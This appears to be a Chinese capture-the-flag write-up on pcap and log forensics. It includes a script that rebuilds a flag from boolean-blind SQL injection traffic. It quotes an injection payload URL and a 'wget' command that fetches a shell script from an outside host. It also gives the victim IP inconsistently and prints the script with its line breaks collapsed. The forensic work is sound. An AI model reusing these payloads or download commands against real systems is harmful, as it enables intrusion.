[鶴城杯 2021]流量分析
?
<--第一道流量分析不難,主要就是布爾盲注的流量包分析,直接查看http請求包即可我們可以通過觀察看到注入成功的響應長度不同,這里成功的為978字節,失敗的994字節.不要問為什么.其實也可以直接判斷.978的流量比994的少了非常多 顯然就是成功的(因為這里是獲取ASCII碼.所以判斷成功的流量肯定更少)
所以我們只需要提取出這一部分成功的流量出來進行分析即可-->
?
<--使用過濾語法? frame.len == 978 過濾長度為978的包 然后導出為文本一定要先過濾再導出 不然就會把全部的導出-->
?
?運行腳本:
import re#Request URI: http://192.168.246.1/ctf/Less-5/?id=1'%20and%20ascii(substr((select%20flag%20#from%20t),1,1))=102--+
nums = []
obj1 = re.compile(r"1\)\)=(?P<num1>.*)\b",re.S)#開啟貪婪模式匹配這里一定要使用.*貪婪模式 如果用.*?可能匹配失敗 \b代表結尾
def getAscii():with open("re.txt", "r", encoding="utf-8") as f:for line in f.readlines():line = line.strip()result = obj1.finditer(line)for it in result:num = it.group("num1")nums.append(num)def getflag():flag = ""for i in nums:i = chr(int(i))flag = flag + iprint(flag)if __name__ == '__main__':getAscii()getflag()
?[隴劍杯 2021]流量分析(問1)
[隴劍杯 2021]流量分析(問2)
[隴劍杯 2021]流量分析(問3)
?
?
?
操作內容:
分析pcap流量包,主機ip應該是172.18.0.1,可以看到很多UDP協議的包。在看包內容的時候,注意到UDP包頭都是P05=,而且有的是有base64,也有亂碼的包。P05=后面都是00 00 00 00和01 00 00 00,其中00的長度是32、01的長度是16,可能是認證。
根據長度為16猜測可能是aes,用長度16的base64(即P05=后面是01 00 00 00的)作為aes key解密發現解密成功了,02 00 00 00對應的包里面都有一個可見字符,其中受害IP172.18.0.125有命令:wget http://147.182.251.98/d.sh;所以第一問為127.18.0.125,第二問密鑰就是18217號包里的DtX0GScM9dwrgZht,第三問ip即為147.182.251.98(udp.stream eq 85)
?
?
[隴劍杯 2021]日志分析(問1)
[隴劍杯 2021]日志分析(問2)
[隴劍杯 2021]日志分析(問3)
?????這里我們直接搜索返回狀態為200的流量,發現www.zip
?直接查找tmp即可看到。
?
同樣的,在目錄穿越反序列化的時候,已經顯示出來了。
?